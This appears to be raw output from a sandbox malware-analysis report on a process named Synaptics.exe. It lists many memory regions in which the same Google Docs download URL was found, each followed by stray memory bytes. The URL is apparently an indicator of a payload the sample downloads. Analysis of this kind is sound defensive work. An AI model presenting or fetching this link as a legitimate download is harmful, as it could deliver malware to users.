Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1W
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2/q
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2024
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000548B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.000000000548B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3P&
Source: Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download44484
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download48
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4A
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download62(
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7)
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7Fg
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7R
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7S:
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8)
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8Fj
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8R
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8x8
Source: Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9200
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download99M
Source: Synaptics.exe, 00000003.00000002.2489394600.000000001AE3E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9Z
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9z
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9~F
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.0000000000682000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:)
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142470584.00000000075D2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;2
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=8I
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?.r
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?Go
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000548B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.000000000548B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?Q
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.00000000054A9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA3
Source: Synaptics.exe, 00000003.00000003.2100046007.000000000065B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAPPKB/
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAccep
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000637000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAuto
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB2
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBJZFA
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBO
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000003.00000003.2142915383.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCIfs0
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCR
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCreateWindow
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDUUDT
Source: Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDeneY
Source: Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE/8
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EEBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE9
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEz
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF.
Source: Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFA
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.0000000007638000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.00000000005DB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadInje
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2463452338.00000000021F0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2476054614.000000000ED40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000003.00000002.2476505369.000000000EDB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK.
Source: Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKN
Source: Synaptics.exe, 00000003.00000003.2100791107.000000000547A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2142915383.000000000548B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.000000000548B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKP
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000075D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000003.00000002.2477005808.000000000EE47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLName
Source: Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLU
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadLtd1
Source: Synaptics.exe, 00000003.00000003.2100046007.0000000000678000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000003.00000002.2478511481.000000000EF04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMO
Source: Synaptics.exe, 00000003.00000002.2462997775.0000000000618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMeta
Source: Synaptics.exe, 00000003.00000002.2466284127.00000000076E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2474262159.000000000EC9E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2462997775.000000000066A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2466284127.000000000769A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2464452429.00000000053F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000003.00000002.2464452429.00000000054AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNameo6G
